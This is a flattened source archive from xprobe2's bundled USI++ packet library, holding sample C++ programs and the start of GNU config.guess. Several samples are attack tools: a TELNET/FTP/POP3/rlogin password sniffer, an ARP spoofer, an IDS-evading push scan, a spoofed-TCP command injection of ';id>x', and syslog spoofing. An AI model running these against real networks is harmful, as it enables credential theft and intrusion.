icmp.sendpack("X"); ICMP icmp2("0"); icmp2.init_device("lo", 0, 500); struct timeval tv; tv.tv_sec = 10; tv.tv_usec = 0; icmp2.timeout(tv); for (;;) { icmp2.sniffpack(buf, sizeof(buf)); if (icmp2.timeout()) break; cout< #include #include #include #include using namespace usipp; #define MINPORT 1 #define MAXPORT 2 int port = 0; sigjmp_buf foo; void handler(int) { printf("Port %d open.\n", port); // you might get a segfault here if a probe of MINPORT // exceeds the alarm-time, and foo is therefore not defined. siglongjmp(foo, 1); } int set_breakout() { if (sigsetjmp(foo, 1) == 0) return 0; else { printf("No ports open, or scan doesn't work.\n"); exit(1); } } int main(int argc, char **argv) { char s[1000], filter[1000]; if (argc <= 3) { printf("usage: %s \n", argv[0]); exit(1); } printf("Silent push-scan. (C) 2000 by S. Krahmer. FOR EDUCATIONAL PURPOSES ONLY.\n\n"); set_breakout(); TCP *tmp = new TCP(argv[1]), sn("localhost"); signal(SIGALRM, handler); TCP tcp(*tmp); // test for copy-constructor // setting port to >1023 will avoid source-port alerts in IDS tcp.set_srcport(7350); if (strcmp(argv[2], "0") != 0) tcp.set_src(argv[2]); // one might change this to TH_URG to have an urgent-scan then tcp.set_flags(TH_PUSH); sn.init_device(argv[3], 60, 1); snprintf(filter, sizeof(filter), "tcp and src %s and dst %s and port 7350", argv[1], argv[2]); sn.setfilter(filter); for (port = MINPORT; port <= MAXPORT; port++) { tcp.set_dstport(port); tcp.sendpack(""); alarm(3); signal(SIGALRM, handler); sn.sniffpack(s, 60); sigsetjmp(foo, 1); } return 0; } xprobe2-0.3/libs-external/USI++/samples/README000755 001751 000000 00000000301 10271643766 021057 0ustar00mederwheel000000 000000 All programs in this directory are examples of how to use USI++. I think there is no better way to document it's features. All the programs come under the GPL, so you use it at your own risk! xprobe2-0.3/libs-external/USI++/samples/recvFrag.cc000755 001751 000000 00000001022 10271643766 022246 0ustar00mederwheel000000 000000 #include #include #include int main() { char sip[100], dip[100]; IP ip("lucifer", IPPROTO_ICMP); char buf[100]; #ifdef linux ip.init_device("eth0", 1, 500); #else ip.init_device("ed0", 1, 500); #endif while (1) { int s = ip.sniffpack(buf, 10); printf("%s -> %s : ", ip.get_src(0, sip, 100), ip.get_dst(0, dip, 100)); for (int i = 0; i < s; i++) printf("%c", buf[i]); printf(" <-\n"); } return 0; } xprobe2-0.3/libs-external/USI++/samples/s.cc000755 001751 000000 00000001331 10271643766 020754 0ustar00mederwheel000000 000000 #include #include using namespace usipp; int main() { TCP tcp("liane"); union tcp_options to; int i = 0; tcp.set_srcport(1025); tcp.set_dstport(23); to.one_word = 111; tcp.set_tcpopt(TCPOPT_MAXSEG, 4, to); //tcp.sendpack(""); tcp.reset_tcpopt(); to.one_byte = 7; tcp.set_tcpopt(TCPOPT_WINDOW, 3, to); tcp.set_tcpopt(TCPOPT_NOP, 1, to); //tcp.sendpack("A"); tcp.reset_tcpopt(); tcp.set_tcpopt(TCPOPT_NOP, 1, to); //tcp.sendpack("A"); tcp.reset_tcpopt(); to.two_dwords[0] = 11223344; to.two_dwords[1] = 55667788; tcp.set_tcpopt(TCPOPT_TIMESTAMP, 10, to); tcp.set_flags(TH_FIN|TH_URG); tcp.set_urg(1000); while(1) { tcp.sendpack(""); tcp.set_seq(i++); } return 0; }xprobe2-0.3/libs-external/USI++/samples/sendFrag.cc000755 001751 000000 00000001301 10271643767 022241 0ustar00mederwheel000000 000000 #include #include int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s destination\n", argv[0]); exit(1); } IP ip(argv[1], IPPROTO_TCP); IP ip2(argv[1], IPPROTO_ICMP); ip.set_id(11); ip.set_fragoff(1); ip.sendpack("YYYYYYYY"); ip.set_fragoff(IP_MF|0); ip.sendpack("XXXXXXXX"); ip2.set_id(112); ip2.set_fragoff(IP_MF|0); ip2.sendpack("xxxxxxxx"); ip.set_id(77); ip.set_fragoff(IP_DF); ip.sendpack("AAA"); ip2.set_fragoff(2); ip2.sendpack("zzzzzzzz"); IP *ip3 = new IP(ip2); IP *ip4; *ip4 = *ip3; delete ip3; ip4->set_fragoff(IP_MF|1); ip4->sendpack("yyyyyyyy"); return 0; } xprobe2-0.3/libs-external/USI++/samples/syn.cc000755 001751 000000 00000001056 10271643767 021330 0ustar00mederwheel000000 000000 #include #include #include #include #include using namespace usipp; int main(int argc, char **argv) { if (argc < 5) { cerr<<"Usage: "<<*argv<<" \n"; exit(1); } u_int16_t sport = atoi(argv[3]); u_int16_t dport = atoi(argv[4]); TCP tcp(argv[2]); tcp.set_srcport(sport); tcp.set_dstport(dport); if (strcmp(argv[1], "0") != 0) tcp.set_src(argv[1]); tcp.set_seq(1); tcp.set_ack(0); tcp.set_flags(TH_SYN); tcp.sendpack(""); return 0; } xprobe2-0.3/libs-external/USI++/samples/synping.cc000755 001751 000000 00000001312 10271643767 022201 0ustar00mederwheel000000 000000 #include #include #include #include #include #include #include int main(int argc, char **argv) { char buf[100]; if (argc < 3) { cout<<"Usage: "< #include using namespace usipp; int main() { TCP tcp("liane"); union tcp_options to; tcp.set_srcport(1024); tcp.set_dstport(515); tcp.set_flags(TH_SYN); to.one_word = 111; tcp.set_tcpopt(TCPOPT_MAXSEG, 4, to); tcp.sendpack(""); tcp.reset_tcpopt(); to.one_byte = 7; tcp.set_tcpopt(TCPOPT_WINDOW, 3, to); tcp.set_tcpopt(TCPOPT_NOP, 1, to); tcp.sendpack("A"); tcp.reset_tcpopt(); tcp.set_tcpopt(TCPOPT_NOP, 1, to); tcp.sendpack("A"); tcp.reset_tcpopt(); to.two_dwords[0] = 11223344; to.two_dwords[1] = 55667788; tcp.set_tcpopt(TCPOPT_TIMESTAMP, 10, to); tcp.sendpack(""); return 0; }xprobe2-0.3/libs-external/USI++/samples/tcp_sniff.cc000755 001751 000000 00000007371 10271643767 022500 0ustar00mederwheel000000 000000 /*** TCP password sniffer for TELNET, FTP, POP3 and RLOGIN service. *** Demonstration of the power of libusi++. *** FOR EDUCATIONAL PURPOSES ONLY! *** licensed under the GPL. author: krahmer@cs.uni-potsdam.de ***/ // rather lame piece of code. :) #include #include #include #include //using namespace std; #define MAXDATALEN 1000 /* a unique connection */ typedef struct { long seq, src, dst; int sport, dport, count, lwm; char buf[MAXDATALEN]; } connection; vector conn; #define min(x,y) ((x)<(y)?(x):(y)) /* look whether the opened connection starts from * a xterm. */ bool fromX(connection *c) { char *s = new char[c->count+1]; memset(s, 0, c->count + 1); bool r; int j = 0; /* skip 0-bytes, so a strstr() works now */ for (int i = 0; i < c->count; i++) { if (c->buf[i]) s[j++] = c->buf[i]; } if (strstr(s, "xterm") != NULL || strstr(s, "XTERM") != NULL) r = true; else r = false; delete [] s; return r; } int print_conn(connection *c, int j) { char src[1000], dst[1000]; if (!c) return 0; /* set lwm higher, if connection comes from xterm * and lwm was not already increased. */ if (fromX(c) && c->lwm < 160) { c->lwm += 50; return 0; } /* This is a dummy. We use it to resolve the * source and destinationadresses */ UDP dummy("localhost"); dummy.set_src(c->src); dummy.set_dst(c->dst); cout<sport<<"->" <dport<count && i < MAXDATALEN; i++) { if (isprint(c->buf[i]) || c->buf[i] == '\n') printf("%c", c->buf[i]); fflush(stdout); } printf("\n"); /* this connection is not longer needed */ conn[j] = NULL; delete c; return 0; } /* Add a new connection */ int add_conn(TCP *tcp) { int p = tcp->get_dstport(); if (p != 21 && p != 23 && p != 110 && p != 513) return -1; connection *c = new connection; memset(c, 0, sizeof(connection)); c->src = tcp->get_src(); c->dst = tcp->get_dst(); c->sport = tcp->get_srcport(); c->dport = tcp->get_dstport(); /* set the low-watermark -- port specific */ switch (c->dport) { case 21: c->lwm = 30; break; case 23: c->lwm = 260; break; case 110: c->lwm = 30; break; case 513: c->lwm = 55; break; default: c->lwm = 100; break; } conn.push_back(c); return 0; } connection *get_conn(TCP *tcp) { for (int i = 0; i < conn.size(); i++) { if (!conn[i]) continue; if (tcp->get_dst() == conn[i]->dst && tcp->get_src() == conn[i]->src && tcp->get_dstport() == conn[i]->dport && tcp->get_srcport() == conn[i]->sport) return conn[i]; } return NULL; } int main(int argc, char **argv) { if (argc < 2) { cout<init_device(argv[1], 1, 500); char buf[1000]; while (1) { memset(buf, 0, 1000); int l = sn->sniffpack(buf, 1000); /* if connection is opened, save characteristics */ if (sn->get_flags() == TH_SYN) { add_conn(sn); /* otherwise save data */ } else { /* don't fetch the ACK only packets */ if (sn->get_flags() == TH_ACK) continue; connection *c = get_conn(sn); if (!c) continue; /* insert data */ int j = 0; while (l-- > 0 && c->count < MAXDATALEN) c->buf[c->count++] = buf[j++]; } /* look if one connection has enough data */ for (int i = 0; i < conn.size(); i++) { /* skip already printed connections */ if (!conn[i]) continue; if (conn[i]->count > conn[i]->lwm) print_conn(conn[i], i); } } return 0; } xprobe2-0.3/libs-external/USI++/samples/tel.cc000755 001751 000000 00000001360 10271643767 021301 0ustar00mederwheel000000 000000 #include #include #include #include #include #include #include #include int main(int argc, char **argv) { char buf[100]; if (argc < 2) { cout<<"Usage: "<x\n"); } */ tcp.set_seq(567815162U); tcp.sendpack(";id>x\n"); return 0; } xprobe2-0.3/libs-external/USI++/samples/trace.cc000755 001751 000000 00000011034 10271643767 021612 0ustar00mederwheel000000 000000 // Simplified traceroute using SYN packets to fool IDS's and filters // (C) 2001 by Sebastian Krahmer // sample program to demonstrace power of libUSI++ // licensed under the GPL // Don't run multiple instances of this program at the same // time. Also don't run normal traceroute meanwhile, sicne // they probably confuse each other. #include #include #include #include #include #include int udp_trace(char *, char *, char *, int); int tcp_trace(char *, char *, char *, int); int icmp_trace(char *, char *, char *, int); int ip_trace(char *, char *, char *, int); void usage() { cout<<"Usage: trace <-s src> <-d dst> [-T port] [-t type] [-D dev] [-U port] [-Ii]\n\n" "-U use normal UDP style trace to 'port'\n" "-T use TCP style trace (SYN) to 'port'\n" "-I use ICMP trace with type 'type' (defaults to ECHO_REPLY)\n" "-D use 'dev' for capturing. default eth0\n" "-i use raw IP packets for trace\n\n"; exit(0); } int main(int argc, char **argv) { int c; int type = 1, port = 53; bool udp = false, tcp = false, icmp = false, ip = false, dst = false, src = false; char source[1000], dest[1000], dev[10]; strcpy(dev, "eth0"); while ((c = getopt(argc, argv, "D:d:s:t:U:T:Ii")) != -1) { switch (c) { case 't': type = atoi(optarg); break; case 's': strncpy(source, optarg, sizeof(source)); src = true; break; case 'd': strncpy(dest, optarg, sizeof(dest)); dst = true; break; case 'U': udp = true; port = atoi(optarg); break; case 'T': tcp = true; port = atoi(optarg); break; case 'I': icmp = true; break; case 'D': strncpy(dev, optarg, sizeof(dev)); break; case 'i': ip = true; break; default: usage(); } } if (!dest || !src) usage(); cout<<"[=== IP datagrams to "< #include #include using namespace usipp; int main() { TCP tcp("target"); char buf[100]; memset(buf, 0, sizeof(buf)); tcp.set_srcport(1024); tcp.set_dstport(110); sprintf(buf, "USER \E[34m"); // turn tehereal's output into blue tcp.sendpack(buf); return 0; } xprobe2-0.3/libs-external/USI++/samples/arps.cc000755 001751 000000 00000001714 10271643767 021465 0ustar00mederwheel000000 000000 #include #include #include using namespace usipp; int main() { unsigned char smac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x90}, // dest-MAC dmac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x8f}, // our MAC (eth0) rnd[] = {1, 2, 3, 4, 5, 6}, bc[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; // broadcast-MAC ARP *req = new ARP("eth0", 0, smac /* source faked */, bc); ARP *rep = new ARP("eth0", 0, rnd /* 3rd-party MAC */, smac /* answer to victum */); req->set_op(ARPOP_REQUEST); req->set_tpa("1.1.2.2", ETH_P_IP); req->set_spa("192.0.0.7", ETH_P_IP); req->set_tha(bc, ARPHRD_ETHER); req->set_sha(smac, ARPHRD_ETHER); req->sendpack(""); delete req; rep->set_op(ARPOP_REPLY); rep->set_tpa("192.0.0.7", ETH_P_IP); rep->set_spa("1.1.2.2", ETH_P_IP); rep->set_tha(smac, ARPHRD_ETHER); rep->set_sha(rnd, ARPHRD_ETHER); rep->sendpack(""); delete rep; return 0; } xprobe2-0.3/libs-external/USI++/samples/udp_spoof.cc000755 001751 000000 00000000562 10271643767 022516 0ustar00mederwheel000000 000000 #include #include // spoof a syslog message to a FreeBSD box. int main(int argc, char **argv) { if (argc < 2) { cout< #include // spoof a syslog message to a FreeBSD box. int main(int argc, char **argv) { UDP udp("localhost"); udp.set_srcport(2500); udp.set_dstport(1174); udp.set_src("192.0.0.1"); udp.sendpack("XXX"); return 0; } xprobe2-0.3/libs-external/USI++/src000755 001751 000000 00000000000 10271644024 017232 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/src/cfgaux000755 001751 000000 00000000000 10271644024 020507 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/src/cfgaux/config.guess000755 001751 000000 00000124504 10271643767 023131 0ustar00mederwheel000000 000000 #! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. timestamp='2004-09-07' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner . # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # The plan is that this can be called by configure scripts if you # don't specify an explicit build system type. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep __ELF__ >/dev/null then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit 0 ;; amd64:OpenBSD:*:*) echo x86_64-unknown-openbsd${UNAME_RELEASE} exit 0 ;; amiga:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; cats:OpenBSD:*:*) echo arm-unknown-openbsd${UNAME_RELEASE} exit 0 ;; hp300:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; luna88k:OpenBSD:*:*) echo m88k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mac68k:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; macppc:OpenBSD:*:*) echo powerpc-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvme68k:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvme88k:OpenBSD:*:*) echo m88k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvmeppc:OpenBSD:*:*) echo powerpc-unknown-openbsd${UNAME_RELEASE} exit 0 ;; sgi:OpenBSD:*:*) echo mips64-unknown-openbsd${UNAME_RELEASE} exit 0 ;; sun3:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; *:OpenBSD:*:*) echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} exit 0 ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit 0 ;; macppc:MirBSD:*:*) echo powerppc-unknown-mirbsd${UNAME_RELEASE} exit 0 ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit 0 ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` exit 0 ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit 0 ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit 0 ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit 0;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit 0 ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit 0 ;; *:OS/390:*:*) echo i370-ibm-openedition exit 0 ;; *:OS400:*:*) echo powerpc-ibm-os400 exit 0 ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit 0;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit 0;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit 0 ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit 0 ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit 0 ;; DRS?6000:UNIX_SV:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7 && exit 0 ;; esac ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; i86pc:SunOS:5.*:*) echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit 0 ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit 0 ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit 0 ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit 0 ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit 0 ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit 0 ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit 0 ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit 0 ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit 0 ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit 0 ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit 0 ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit 0 ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit 0 ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c \ && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ && exit 0 echo mips-mips-riscos${UNAME_RELEASE} exit 0 ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit 0 ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit 0 ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit 0 ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit 0 ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit 0 ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit 0 ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit 0 ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit 0 ;; XD88*:*:*:*) # Tektronix 